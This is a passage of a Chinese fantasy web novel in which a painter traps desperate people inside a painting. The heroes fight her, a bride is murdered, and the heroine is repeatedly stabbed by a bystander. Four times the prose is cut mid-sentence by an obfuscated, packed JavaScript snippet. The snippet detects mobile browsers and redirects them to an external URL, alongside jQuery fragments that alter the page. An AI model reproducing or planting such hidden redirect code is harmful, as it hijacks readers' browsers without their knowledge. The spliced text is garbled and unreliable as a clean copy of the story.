花晓月抬眼看了他们一眼,“为何要入画?” 男人开口,嘴角浮起一抹笑容,“我与妻子新婚,想要留住这个时刻,留住现在的模样。” 花晓月没有应声,只是看着他,然后狠狠皱眉,“不过,下一位。” 这边的墨染青也在皱眉,“我们要快点想办法让花晓月放了画里的人。” 依照她对花晓月的了解,若是入画的人多了,怕不是会被拿来当人质,这种事情她做起来可是轻车熟路得很。 “我们谁去和她交谈?”裴一笑问。 “我去。”章蕴白说。 说完抬脚朝花晓月走去,墨染青伸手想要拦住他,他却已经越过了她,开口了:“花晓月,将凡人送入画中豢养不是正道所为。” 花晓月乍一听到这熟悉的声音,瞳孔猛地一缩,“章蕴白?!” 她抬头死死盯着章蕴白,“你抢了我画了整整三个月的栖霞图,还有脸再出现在我面前?” 这样的异变让所有排队的人都抬起头,惊疑不定地望了过来。 章蕴白仍然是那副淡淡的神色,“我这是替天行道。” “替天行道?!”花晓月的声音骤然拔高,“你这是哪门子的替天行道,抢人辛苦完成的画?不抢别人的,还就偏偏只抢我的?!” 她显然是怒到极处,脸色都涨得通红。 不过,她的目光略过章蕴白,看到了在他身后的裴一笑,眯起眼,突然冷笑一声,“哟,这不是藏锋阁的人吗?谢惊澜管不好自己门下的弟子,就赶紧去死好了,活着也是废物一个!” 她上上下下打量了一番裴一笑,嘴角再次扯出一个刻薄的笑容,“你跟在这个抢画贼身边,谢惊澜知道吗?” 裴一笑脸色一沉,“前辈说话最好注意些,当心祸从口出。” “注意些?”花晓月不屑地嗤笑一声,“我注意什么?我难道怕他谢惊澜?藏锋阁的废物一个!” 她说着,目光不经意扫过墨染青,一顿,然后一点一点变了味道。 “哟~”她拉长了尾音,意味深长地笑出了声,“这位又是谁?长得倒是标致,和昭国那位亡国公主真是一模一样呢。” 她的视线在墨染青和章蕴白之间辗转,“我最讨厌的就是你们这种狗男女了,看着就恶心!一个抢画贼,一个亡国女,还偏偏摆出那副清高的样子给谁看?真是令人作呕!” 她气得发抖,越说越激动,“该死的狗男女!我告诉你们,今日我就是要将这里的所有人都收入画中!谁又能管得着?!” 墨染青心中默然,花晓月还是这么讨厌她,也算是意料之中了。 见花晓月还在骂个没完,裴一笑插话道:“废话少说,快放了画里的人!” 这一次连前辈都不叫了。 “想让我放人?”花晓月一字一句道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305539|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“做、梦!” 她像是听到了什么笑话一样,“你倒是问问面前这些人,是我逼着他们入画的吗?是他们自己要来的,是他们自愿排的队,多管闲事!” 墨染青沉声道:“你明知道入画意味着什么,他们入了画,生死全在你一念之间,你想他们生就生,想他们死就死,想折磨他们根本就不费吹灰之力。” 花晓月看她的目光越来越冷厉,“哼!我哪句没有说清楚?我早就说过了,上了桥就没有回头路,他们听不懂,还是听懂了装作不懂,那是他们自己的事。” “自愿?”钟离浊微微扬眉,“一个饿得快死的人愿意喝一口毒粥,你管这叫自愿?他们来这里,是因为活不下去了,是因为这世上已经没有了他们的容身之所,是因为他们痛苦不堪。你把他们的恐惧和绝望当成了自愿?” “那又怎样?我给他们一个去处,让他们不用再受苦受罪,难道有错?” 墨染青接过话,“你给他们的只是一个囚笼,在这个囚笼里面,你就是无所不能的神。对于你的人品,我可不抱有什么幻想,这些人最后必然不会落得什么好下场!” 花晓月猛地转向她,气得浑身发抖,“你懂什么?你凭什么说这些?墨染青,你是最没有资格说这些的人!他们生来残缺,活得这么痛苦,不就有你的一份功劳吗?” 墨染青张了张嘴。 章蕴白开口:“天地有道,生老病死,聚散离合,自有定数。花晓月,不要再执迷不悟了。” “我执迷不悟?”她咬着牙道,“我是不会放人的!这是我的画!你们凭什么让我放人?凭什么?!” 墨染青骤然恢复了冷静,看着花晓月因为激动而微微扭曲的脸,她像是被戳到了痛处,情绪激动到浑身发抖,骂人骂得声嘶力竭,在场所有人的注意力都聚焦在她身上。 目光从她身上移开,夜风吹过,灯火明灭,那座隐没在雾中的桥,上面似乎有人影闪现。 她的心,猛地一沉,“你在拖延时间?” 花晓月说话的声音一顿,“你说什么?” 墨染青冷冷地看着她,“你方才说了那么多,不是为了和我们争辩,而是为了拖住我们。” 花晓月脸色微微一变。 章蕴白回头看墨染青,钟离浊和裴一笑也同时警觉起来。 墨染青抬手指向那座桥,“那上面有人影过来。” 三人的目光都落在桥上。 墨染青看着花晓月,眼中冷意弥漫。 花晓月突然笑了,“墨染青,五百年不见,你还是这么讨厌!” 她看着墨染青,缓缓开口,“可惜,晚了。” 桥上那个人影,看不清面目,依稀只能看清一些轮廓,离桥头灯火越近,身形才渐渐清晰起来。 熟悉的青白校服,熟悉的脸。 竟然是……花晓月? 另一个花晓月? 墨染青顾不得思考怎么会出现两个花晓月,刚才和他们争论的那个花晓月对着所有人道: “现在所有人都可以入画,只要你们能够走过这座桥。” 7. 画中人 “所有人都可以入画?”刚才已经被认定无法入画的年轻男子声音发颤地问。 花晓月站在桥头,衣袂飞扬,脸上带着一种奇异的笑,“对,所有人。” “不用排队,不用问话,不用再等,在场的所有人,都可以入画了。” 人群安静了一瞬间。 然后,不知道是谁迈出了第一步,“我!我先!我要入画!我先来!” 然后是第二个,第三个。 越来越多的人涌向桥头,有人拼命地往桥上冲,有人被人群裹挟踉跄着随着人流慢慢往前,他们推搡着,拥挤着,有人摔倒了,有人踩着别人的手往前走,有人哭,有人喊,有人不顾一切地往前跑。 “别挤着我!我还抱着孩子!” “让我过去!让我先过去!” “明明是我先来的,我先排在前面的!” 裴一笑上前,想拦住这些失去理智的人,却被人流冲得踉跄,他只好拔出剑,剑光凛冽,可他们却对剑锋视若无睹,只管往前冲。 一个女孩撞上裴一笑的剑锋,胳膊上划出一道血痕,她却像是感觉不到疼痛,只顾着往前跑,血滴了一地。 “你想拦?你拦得住吗你?”花晓月的笑尖锐刺耳,“有本事拦啊?继续拦啊!” 裴一笑握着剑的手顿住了,他看着那些人,看着他们拼命往前挤的模样,忽然发现自己什么都做不了。 他能拦住一个,两个,十个。可是他拦不住一百个一千个一万个。 他拦不住人心所向。 桥身只能容一人经过,黑压压的人群堵在桥口,他们哭笑着,嘶喊着,朝着那座桥妄图挤进去。 他们觉得,只要上了桥,就能入画,只要入了画,就能永远活着,永远停留在最好的时刻,永远不用再受苦了。 花晓月漠然地看着这一切。 裴一笑紧紧握着剑柄,指节泛白。 藏锋阁,由素和流光开宗立派,门下弟子一直遵循着:“藏灵于剑,藏锋于心”的宗门主旨。 阁中有五条阁训,第五训为出鞘训:“剑出当鸣不平事,灵动只斩该斩人。” 回想起入门时师门的教导,裴一笑握紧手中的剑,抬手,剑光暴涨。 他的剑名叫无回,剑出无回。 他双手握剑,将剑高高举起,剑身亮起一道纹路,凝出锋芒,这一刻他周身气息瞬变,像是一柄出鞘的利剑。 剑气冲天而起,照亮了所有人惊愕的脸。 花晓月:“不好,他要断桥!” “拦住他!” “不要啊!” 人群惊呼,有人朝他冲过来,有人伸手想要拉住他,可那些人都在距离他三尺远的地方停住了,那剑气实在是太盛了,盛得让人无法近身。 只有那个从桥中走出,长得和花晓月一模一样的女子将手中的笔直直指向裴一笑,笔尖冷光炸开,化作无数道细如牛毛的光针,铺天盖地朝他射去。 一道白影掠过,章蕴白挡在裴一笑身前,负手而立,他抬起一只手,宽大的袖子轻轻一挥,动作随意得像是在驱赶一只飞虫。 那些光针撞到他的袖子上,顷刻之间便消散不见。 “你……”那“花晓月”愤恨地看着他。 章蕴白放下手,看着她,语气淡淡,“你的对手是我。” “花晓月”握着笔,厉声道:“让开!” 又是一阵猛攻。 这边,裴一笑深吸一口气,将全身的灵气灌入无回,口中道:“吾剑之锋,出鞘即无回!” 剑出无回,剑出无悔。 剑落,剑光如练,从天而降,斩下那座桥。 剑锋触及桥面的瞬间,天地都仿佛静了一瞬,然后桥身剧烈震颤,青石在剑锋下裂开,裂纹向四周蔓延,蛛网一样爬满整个桥面。 瞬间,桥,断了。 “不!”花晓月尖叫起来。 桥外还有人在跑,有人猛地停下脚步,呆呆地看着眼前的碎石,更多的人则是茫然地望着对岸幽微的一点灯火已经熄灭。 桥的那一头呢? 怎么不见了? 夜风呼啸而过,吹起裴一笑黑色的衣袍,衣袂飞扬。 裴一笑收剑。 阿无同样挺着肚子,艰难地在人群当中移动,她走不快,被人撞得东倒西歪,她想后退,却已经来不及了。 墨染青见她蹲下身护着肚子,连忙冲过去,一把将她拦住。 “阿无!” 阿无见到是她,张了张嘴,“姑娘你……怎么也过来了。” 她看他们一行人也不像是想要入画的。 “你疯了吗?”墨染青盯着她,“你这样往人群走,会死的!” 阿无呆呆地看着她。 “知道啊。”她说,语气平静得可怕。 “死了也好。” 墨染青的手僵住了。 “姑娘,谢谢你。”阿无想挣开她,力道却是那么的轻,身形也是那么的单薄。 她抬头看向那座桥,起身想离去,只是刚刚起身,眉头却狠狠皱紧。 她低头看向自己的肚子,一开始只是隐隐的坠痛,像是有什么东西在往下掉,她也没太在意,只以为是走太久累着了。 可现在那感觉越来越明显,越来越清晰。 疼。 细细密密的疼从腹部深处涌上来,阿无的脸色瞬间惨白如纸,她想做些什么,看到自己空空荡荡的袖管,又愣住了。 “呜……”那疼痛越来越强烈,她情不自禁地闷哼一声,双腿一软,整个人就要朝地上倒去。 “阿无?”墨染青在她跌倒之前再次扶住了她,同时也意识到了她的不对劲。 阿无的额头上渗出大滴大滴的汗珠,嘴唇更是毫无血色,她想说什么,可是一张嘴,就是一声压抑不住的痛呼。 “疼……好疼……” 墨染青的心猛地一沉,她低头看去,阿无的衣裙下摆已经洇出一片湿痕,在夜色里看不清颜色,可她知道那是什么。 “钟离浊,快过来帮忙!”她的声音也下意识颤抖起来。 阿无疼得浑身发抖,却还是咬着牙,断断续续地说:“孩子……不要……不要……孩子……” 钟离浊听到呼喊,立刻转身奔来,他看见阿无的样子,脸色微微一变,二话不说就将手掌轻轻覆在了她的肚子上。 掌心泛起一层柔和的光,温润如水的灵气包裹着生机缓缓渗入。 阿无渐渐停止了颤抖,绷紧的身体也慢慢变得柔软,那细细密密的疼痛还在身体里,只是不再那么尖锐,那么难以忍受了。 她大口大口地喘着气,汗水浸透了鬓发,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305540|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很久,喘息声才渐渐平静下来。 “暂时稳住了。”钟离浊收回了手,然后长长吐出一口气。 墨染青没有说话,只是默默揽着阿无的肩膀,让她靠在自己的身上。 阿无已经泪流满面。 就在此时,众人呆呆地望着那座断桥 “桥……断了? “桥断了!那我们怎么入画!” 人群骚动起来,刚刚还呆立不动的人纷纷回过神来,脸上的茫然很快就被愤怒取代,那是走投无路之后的疯狂。 “是谁斩的桥?是谁!” “是他!他还拿着剑!” 无数的人齐刷刷看向裴一笑。 他就站在断桥不远处,手中的剑已经归鞘,周身的剑气也已经平复下来,他静静地看着那些愤怒疯狂的面孔,脸上没有表情。 可他的这种沉默,在他们眼中就是赤、裸、裸的挑衅。 “你凭什么断桥?” 一个中年男人冲上来,双目赤红,疯子一般挥舞着拳头,“我母亲还在里面!她还在里面!你让我入画啊!让我入画啊!” 裴一笑眉头一动,“你母亲?” “对!我母亲,她耳朵听不见,离了我,你让谁照顾她啊!我们好不容易走到这个地方,好不容易能够一起入画!你!是你!都是你害得我们无法相聚!” 男人一拳砸向裴一笑的脸,裴一笑没有躲,结结实实地挨下了这一拳。 男人见他不会反抗,随即更加疯狂地捶打起来。 周围的人被这一幕刺激到,也纷纷围拢过来。 “对!我姐姐也在里面!” “我儿子!我儿子只有三岁!” “我爹……我爹他……” 越来越多的声音响起,指责,咒骂,哭喊,汇成一片,像潮水一样将裴一笑淹没。 “你凭什么替我们做主!” “你知道我们在外面活得有多辛苦吗!” “入画是我们唯一的盼头,你凭什么断了我们的希望!” 有人捡起地上的石头,朝裴一笑砸去。 裴一笑的目光扫过那一张张因愤怒而扭曲的面孔,一双双充血的眼睛,他们不是在恨他,他们是在恨命运不公,恨世道无解,恨所有的无能为力。 他只是现在恰好就站在了这里。 “住手!”钟离浊的声音响起,他试图阻拦。 “你跟他是一伙的!你也该死!” 墨染青扶着阿无默默远离愤怒的人群,以免她被波及到。 阿无现在可经不起一点推搡。 “等一下。” 那声音来自花晓月,她嘴角扯出一个诡异的笑容。抬起手,手中那只晶莹似玉的画笔,穿过人群,直直指向了墨染青。 “你们就这样放过了这个女人?” 有人回头,顺着她手指的方向看过去。 墨染青正扶着阿无,察觉到落在身上的目光,脚步微微一顿,却没有回头。 “你们恨那个剑修断了桥。”花晓月声音再度尖利起来,“可你们知不知道,这一切的罪魁祸首究竟是谁?” 人群再次激动起来。 “是谁?” “就是她!”花晓月似要用画笔戳穿墨染青的后背。 “五百年前的昭国公主,墨、染、青!” 8. 画中人 花晓月的话像是烈火烹油,人群的愤怒窜起更高的火焰。 “她是昭国公主!” “昭国公主不是死了吗?”有人愣住。 “管她是不是!反正他们都是一伙的!” “对!她拦着不让我们入画,自己倒是过得舒坦,当然见不得咱们好过!” 窃窃私语变成了喧嚣,很快又变成了怒骂声。 “昭国公主该死!” “就是,这种人就该下地狱!” “让她偿命!” 人群朝她涌来,阿无在她身边,被这阵势吓到了。 墨染青看了她一眼,让她靠着一棵树休息,“我会让钟离浊过来照顾你。” 阿无愣住了,想说什么,却被她的眼神制止了。 “记得离我远一点。”她最后叮嘱一句,然后自己转身走向人群。 她走得很快,那些蜂拥而来的人也跟着她调转了方向,朝她追去。 “她在那儿!别让她跑了!” 阿无呆呆地靠着大树,看着墨染青的背影越来越远,紧紧咬着嘴唇。 人群的喧嚣声在耳边嗡嗡作响,像是无数只苍蝇在叫,墨染青已经听不清他们在骂什么了。 章蕴白眉头紧蹙,衣袖舒展,从中取出一幅画,画上是一柄折扇。 寻常的折扇样式,扇骨是墨色的,扇面素白,边缘隐约可见一点寒芒,那是藏在扇骨里的刀锋。 章蕴白握着那柄扇刀,看着眼前的“花晓月”,一步落下,向她跃进三丈之内,两步落下,已至身侧,三步落下,扇面一展,深处的薄刃飞射而出。 “花晓月”欲提笔相抗,却见章蕴白已经将扇刀合拢,前端的刀刃泛着冷光,被他握在手中。 他近身,抬手,一刀从“花晓月”的右肩切入,斜斜向下,从左腹穿出。刀锋过处,不见血肉,只有一阵轻微的裁纸声。 “花晓月”的身体僵住,她低头看着自己胸口那道斜长的伤口,一点一点蔓延开,最后整个人从伤口处断成了两半。 没有血,从脸开始,五官渐渐模糊,最后融在了一起,像是被水洇开的墨,一片混沌。 那两半身体缓缓落地,无声无息,成了两张废纸。 章蕴白收起扇刀,扇子前端的刀刃重新缩回凹槽,扇面合拢,重新变成了一把寻常的折扇。 他垂手握着折扇,目光越过人群,落在了墨染青身上。 迈步,朝她走去。 “章蕴白!你竟然敢毁了我的画!”花晓月气急败坏道。 她话音还未落下,一道剑光骤然亮起,裴一笑不知何时已经拔剑出鞘,剑锋直指她的咽喉。 “放人。”裴一笑声音低沉,又向前三分,“将入画的人全部都放出来。” 花晓月脸上的表情先是惊愕,然后嘴角慢慢弯起一个弧度。 她的目光在墨染青身上停留一瞬间,然后移开,最后落在身侧的一对夫妻身上。 是那对新婚夫妻,两人依旧紧紧牵着对方的手。 花晓月看着他们,眼底闪过一丝恶毒,“你们倒是恩爱!” 然后不顾裴一笑的威胁,用画笔末尾处藏着的尖刃,抵上了那哑女的咽喉。 盲眼的新郎发觉不对,急切地转身,伸出手去触摸,“阿莲?阿莲!” 那名唤阿莲的新娘伸手用力将他推开,他摔倒在地,然后又起身,疯狂地扑上去,可那花晓月只轻轻一抬腿,他就又跌倒在地。 阿莲发不出声音,只能默默流泪。 裴一笑脸色铁青,握剑的手更是青筋暴起,可他不敢轻举妄动。 这个疯子! “放开她!”他压抑着怒意。 花晓月看着他,不屑地笑出声来。 “把剑放下。”她说。 裴一笑没动。 “我让你把剑放下!”花晓月又重复一遍,尖刃刺破阿莲喉间的皮肤,渗出一丝血痕。 “放下,不然我就杀了她。” 阿莲吓得一抖,死死咬住嘴唇,她看着裴一笑,忍住惧意拼命地摇头。 裴一笑握剑的手在颤抖。 剑缓缓垂下。 当啷一声,落到地上。 花晓月满意地笑了,然后将目光放在了另一人身上。 墨染青。 她此时被章蕴白护在身后,前方是骂声喧天的人群。 花晓月看着她:“还有你,墨染青,乖乖的,自我了断。” 人群中立刻爆发出惊呼声。 “了断!” “快点了断!” “快去死!” 章蕴白眉头紧蹙,手中紧握着那柄扇刀。 墨染青看着花晓月,没有动。 “哟,之前不是求着我放人吗?现在给了你救人的机会,你怎么又不动了?”花晓月嘲讽地笑了。 她扬了扬下巴,“看看你面前这些人,他们可都巴不得你去死呢。” 她不说,墨染青也能够感觉到,要是眼神可以杀人,她早就不知道死过多少次了。 人群聚拢围成一个半圆,将她和身前的章蕴白围在对面。 “就是啊!她不是之前说着要救人吗?” “现在怎么不动了?” “虚伪!” “就是!之前说得那么好听,现在呢?” “人在那儿被刀架着呢,她倒是站着不动了?” 有人朝着墨染青喊道,“你不是昭国公主吗?就该把命赔给我们才对!” 有人更为直接:“你要救人就赶快去死啊!你死了她不就放人了吗?” “对啊!你快去死啊!” “别磨蹭了!死快点!” “让我们看看你说的是不是真心话!” 墨染青睫毛轻颤。 花晓月将这些都看在眼里,笑得更加肆无忌惮。 “听见了吗?”她的声音里充斥着恶毒和快意,“你倒是快点死给他们看啊!” 墨染青余光扫过人群,钟离浊照顾着靠在树下的阿无,裴一笑的剑还落在地上,就在他脚下,只是他现在不敢捡起来。 最后,目光落在自己身前,墨染青看着那个背影,突然轻轻叹出一口气。 她绕过他,走到他面前。 章蕴白眉头紧皱,伸手抓住她的手臂想要将她拦下。 “墨染青,别去。”他声音低沉,带着从未有过的凝重。 “求你……” 墨染青抬头看他,“她真正想杀的人一直都是我。” 她慢慢掰开章蕴白抓紧她手臂的手,然后向花晓月走去。 章蕴白伸在半空的手无力垂落,瞳孔微微一缩。 墨染青朝花晓月道:“我来交换人质。” 花晓月眯起眼,从头到脚打量她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305541|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角慢慢扬起一抹玩味的笑,“就你?” “我来换她。”墨染青继续说,“你想杀的人不是一直都是我吗?” “你?”花晓月像是被戳到了什么痛脚,脸色一变,再次上下打量她一番,“墨染青,你凭什么说我一直想杀你?我现在就要你跪在我面前,求着让我杀你!” 墨染青没有再废话,一步一步朝她走去。 章蕴白的手攥紧了扇刀,看着她的背影一步一步走向花晓月,却还是没有动。因为墨染青在走过他身边时轻轻说了一句话,只有他能够听见: “信我。” 就这两个字。 这一次,他还是选择相信她。 墨染青继续往前走,走到花晓月身前,停下脚步。 花晓月的手从阿莲喉间移开,转而扣住墨染青的咽喉,冰冷的尖刃抵在喉咙,让人忍不住想要瑟缩。 花晓月将脑袋凑到她耳边,声音温柔得像是在说情话:“公主殿下,时隔五百年,你还是落在了我的手里。” 墨染青没理她,她只是垂下眼,对阿莲说:“快走,别回头。” 阿莲踉跄地转过身,跑了几步,又回头看向墨染青,泪流满面,最后咬着嘴唇转过身,朝盲人新郎的方向跑去。 她跑得很急,很快,像是归林的倦鸟。 还有三步。 两步。 一步。 她朝着那个浑身是伤,还在四处寻找她的男人伸出了双手。 寒光一闪。 墨染青的瞳孔猛地收缩。 花晓月的手猛地一挥,手中的画笔直直飞向阿莲的后背。 尖刃从后背刺入,从胸前穿出。 在心脏的位置,一击毙命。 “不!” 墨染青的声音刚刚吼出来,阿莲已经倒在了地上。 她的手还伸着,还朝着新郎的方向伸着。 只差一步。 只差一步她就能够碰到他了。 她的嘴唇动了动,想喊他的名字,可她喊不出来,她只能慢慢地倒下去,倒在离他只有一步之遥的地方。 生命的最后,她遗憾地想,自己这一辈子还没有叫过一声他的名字呢。 新郎还什么都不知道,他不知道他的新婚妻子已经死了,就死在他触手可及的地方。 一步之遥的距离,却仿佛隔着天堑。 他还在寻她。 花晓月的笑声响起,“多好看呐。” 她喃喃道:“多好看呐……” 她又看着墨染青,欣赏着她苍白难过的神情。 “你……” “我怎么了?”花晓月歪头看她,脸上带着残忍的笑。 “不是你让我放了她吗?我放了呀,我只是……” 她停顿一下,脸上的笑容愈发灿烂,“我只是顺便杀了她而已。” 她的手一挥,尖刃从阿莲身上拔出,飞回到她手上,朝墨染青刺来。 墨染青下意识侧身闪躲,可是她沉睡了五百年,如今身上没有半点灵气,那尖刃实在是太快了,瞬间便刺破了衣裳,刺破皮肉,穿过腰腹,又回到花晓月手中。 鲜血喷涌而出,和鲜红的衣裙混杂在一起,颜色渐渐变深。 她捂着伤口,温热黏腻的液体从指尖渗出,踉跄着后退。 花晓月握着滴血的画笔,一步一步朝着她逼近。 9. 画中人·终 “你不是要救人吗?”花晓月笑得愉悦极了,“救啊,你倒是救啊!” 墨染青没有回答,她只是捂着伤口,一步一步往后退,鲜血从她的手指缝流出,缓缓滴落在地,一路蜿蜒。 她退着退着,突然脚下一软,整个人朝后倒去。 一双苍老的手接住了她,是之前遇见的茶摊老板。 他在旁边呆了很久,这里是最靠近桥的地方,他本来是有机会挤进去的,只是裴一笑那一剑斩得实在是太干脆利落了,没有多给他一点机会。 他低头看着墨染青,因为受了花晓月的那一击,她如今相当脆弱,即便是自己苍老如同八十老人的身体也比她要好得多。 他清亮的眼睛里闪烁着复杂的情绪。 “昭国公主……”他张了张嘴,声音同样苍老,“你真的是昭国公主?” 花晓月的居高临下地看着这一幕,嘲讽地笑出了声。 她抬手,画笔的尖刃再次对准墨染青的胸口。 “墨染青,去死吧!” 怀着无尽的怨毒和恨意,她挥动了手。 身后陡然亮起一道剑光。 花晓月已经察觉,可她还是没有躲,因为她更想让墨染青去死! 裴一笑的剑比她更快,更狠。 那是裴一笑用尽全身力气刺出的一剑,是他在看见阿莲被杀的那一刻就已经准备好的一剑。 剑锋瞬间刺穿胸膛。 花晓月的身体僵住了,手中的画笔失去了主人的掌控,从手心坠落,发出一声清脆的声响。 她低下头,看着从自己胸口透穿的一截剑锋,看着上面滴落的不是血,而是墨。 漆黑的墨,像眼泪一样,一滴一滴落在地上。 画纸破开,轻轻飘落在空中。 墨染青倒在茶摊老板身旁,意识已经模糊。 “你别睡啊……”口中这样呢喃着,茶摊老板随手在地上捡起一块石头,这枚石头尖端锐利,形似刀刃。 然后猛地举起,朝着她身上捅去。 尖锐的利石捅进她的腰腹,就在花晓月先前刺穿的伤口处。 墨染青的身体猛地一缩,眼睛骤然睁开。 这一瞬间,她甚至没有感觉到疼痛,只是觉得冷,一种痛心彻骨的冷。 茶摊老板的脸就在她的眼前,这张皱纹密布的脸,此刻极尽扭曲,那双给她添过茶的手,此刻正握着那块沾满血的锐石,死死捅进她身体里。 “都怪你!”他咬着牙,将那石头又捅进一分。 墨染青无力地张了张嘴。 他拔出石头,又捅进去,这次更深。 “我本来可以入画的!” 第三次,血溅在他脸上。 “我本来可以永远活着的!” 墨染青的身体已经不动了。 “我才二十八岁!我不想死啊!我不想死啊!” 他的声音变成了哭腔,眼泪顺着溅在脸上的鲜血流下。 墨染青的眼睛还睁着,瞳孔倒映出他那张满是皱纹的脸。 从茶摊老板举起石头的那一刻到现在,不过几个呼吸之间,太短了,短到章蕴白来不及护住她,短到裴一笑还来不及再次挥剑,短到钟离浊的惊呼声都还未落下。 章蕴白的心口像是被什么东西猛地攥紧了,然后又瞬间碎开。 他抬起手,手腕一转,扇刀裹着灵气脱手而出,直直射向那个他此刻恨不得碎尸万段的人。 茶摊老板的手上此刻沾满了鲜血,全都是墨染青的血。 “该死!你该死!” 他没有看见章蕴白的动作,也没有察觉到扇刀,甚至没有感觉到疼痛。 那柄扇刀利落地穿过他佝偻的身躯,带出血迹,然后钉在了远处的石头上。 他低头看着自己胸口的血洞,和墨染青腰腹间的洞,相差无几。 他张了张嘴,只喷出一口鲜血。 然后,他倒了下去。 可是他还没有死。 他的眼睛还睁着,他的手脚还能动,他抬起头,目光穿过夜色,穿过人群,落在远处断裂的桥上。 那眼睛里满是渴望,是到死都放不下的执念。 “画……” 他伸出手,朝着桥的方向开始爬,爬得很慢,每爬一下,血都从胸口流出,在地上拖出一道长长的血痕。 那双布满皱纹的手,在地上摸索,抓住碎石,抓住泥土,抓住一切他能够抓住的东西,拼命往前蠕动。 一下,又一下。 和刚才捅她的次数一样。 他的眼睛越来越亮,身体却越来越慢了。 他爬不动了,他的手还伸着,朝着桥的方向,可他感觉身体好冷啊,已经没有力气了。 他张了张嘴,发出最后一点声音: “画……” 然后,那只伸着的手,慢慢垂下。 落在尘土中。 那双清亮的眼睛,依旧望着桥的方向。 裴一笑走到他身边,低头看了一眼。 死不瞑目。 章蕴白将墨染青抱在怀中,她躺在他怀里,睁着眼睛,脸色苍白似雪,腰腹的伤口还在渗血。 他伸出手,轻轻合上她的眼眸。 “你睡吧。”他轻声说,“剩下的让我来。” 此刻,他覆在她眼睛上的手在发抖,说话的声音同样是抖的。 他强作镇定地从袖中取出一卷画纸,展开。 他将墨染青抱起,轻轻一送,她的身体没入画中,像沉入水面,像落入梦境。 那卷画纸微微漾起波纹,然后恢复平静。 画纸上不再是空白,上面躺着一个年轻貌美的女子,穿着鲜红热烈的衣裙,闭着眼睛,安安静静地睡着。 章蕴白看着画中的她,伸出手,轻柔地抚过她的脸。 “睡吧,睡吧。”他轻声说,“睡醒了,就好了。” 然后将画慢慢卷起,用一根青色的丝带系好,收入袖中。 墨染青感觉自己像是被浸泡在温暖的泉水中,骨头都酥软了。 脑袋里像是蒙上了一层雾,什么都看不清楚,她只能任由自己往下沉,沉入那汪温水中,沉入那些模糊的记忆里。 然后,雾散了。 她站在王城的花园中。 花园的中央,是一棵孤零零的古树。 这是一棵相当古老的树,树干粗到需数人才能合抱住,树皮皴裂,上面爬满了青苔,枝叶茂盛,像是一柄撑开的青绿巨伞,遮出偌大一片阴影。 可它又是如此的孤独,周围的鲜花芳草都离它远远的,像是刻意隔出一片空地,让它独自参天。 天气阴沉,乌云低压,风一阵一阵地吹,吹得花枝乱颤,吹得草木低舞。 墨染青低头,发现自己手里握着一把熟悉的伞,红色的伞面,特制的伞骨,精致昂贵。 她循着记忆朝那棵古树走去,风撩起她鲜红似火的裙摆,空气中泛起了凉意。 走近了,她才看见,大约距离古树十丈处有一个人。 那人背对着她,坐在一块石头上,面前支着一块木板,木板上铺着画纸,而他手里握着画笔。 他在画那棵古树。 她认出了那个背影。 青白的衣,乌黑的发,清瘦的肩背,还有那种仿佛与世隔绝的疏离气质。 是章蕴白。 风起雨落,一滴雨水不偏不倚地落在了树上那只青鸟的翅膀上,墨迹洇开,晕成一团模糊的黑。 章蕴白的手顿住了。 他低头看着那团洇开的墨迹,看着那只被雨毁掉的青鸟。 然后,雨停了。 墨染青站在他身侧,撑起了那把红色的伞,伞面倾向他,倾向他身前的那幅画。雨如乱珠在伞面上弹跳,发出噼啪声,再也没有落到画上一滴。 章蕴白抬起头,看到伞,又看到她。 墨染青没有说话,她就那样站着,右手撑着伞,左手垂在身侧,衣袖被风吹得轻轻飘动,沾上飘进来的雨水,颜色渐深。 章蕴白同样没有出声,他低下头,握着笔,重新蘸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305542|198712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨,笔尖落在画纸上,发出轻微的沙沙声,比雨声还要轻微。可墨染青还是听见了,在伞下这片寂静的空间里,她听见画笔在纸上划过,皴擦,点顿。 他看向那棵古树,枝条在雨中轻颤,一只青鸟缩在叶片下面躲雨。 墨染青顺着他的目光看见那只青鸟动了动,很快便抖落了沾在翅羽上的水珠。 